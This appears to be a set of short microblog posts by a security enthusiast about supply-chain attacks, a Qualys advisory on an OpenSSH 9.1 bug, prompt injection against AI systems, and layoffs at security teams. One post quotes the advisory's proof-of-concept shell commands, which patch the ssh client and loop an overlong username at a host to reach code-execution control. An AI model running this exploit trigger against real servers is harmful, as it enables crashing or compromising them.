Hot Take: a lot of the "supply chain insecurity" news stories are not problems with the supply chain. So what if you managed to upload some crapware RAT to PyPi? No one will even use your malicious package ever. Even if you tried typosquating the package, the odds are still low that anyone important or a large chunk of the community would accidentally use your typosquated malicious package . Real supply chain issues are when a legitimate and *popular link in the supply chain (aka a popular library used by many other projects) becomes compromised.

This post by the Qualys Security Advisory team demonstrating rip/pc control on OpenSSH 9.1 (running on OpenBSD!) is savage: seclists.org/oss-sec/2023/q1/9

Here I was thinking this bug was hopeless and they one-line it without writing new code:

$ cp -i /usr/bin/ssh ./ssh

$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh

$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done

IDK but all those AI prompt injections like

seem to rely on in-band signalling which could have been avoided at design time by having separate channels for configuration and user input. But instead the 70s are calling and want their cereal whistles back

speculation about layoffs and security posture
Toggle visibility

It's going to be interesting to see how the layoffs will impact security. According to birbsite and Mastodon, already some InfoSec people have been hit by layoffs. Fewer people means things stay broken longer, incidents take longer to respond to, etc. Meanwhile, hackers and ransomware gangs do not have to deal with layoffs... Guess who's going to have the competitive advantage?
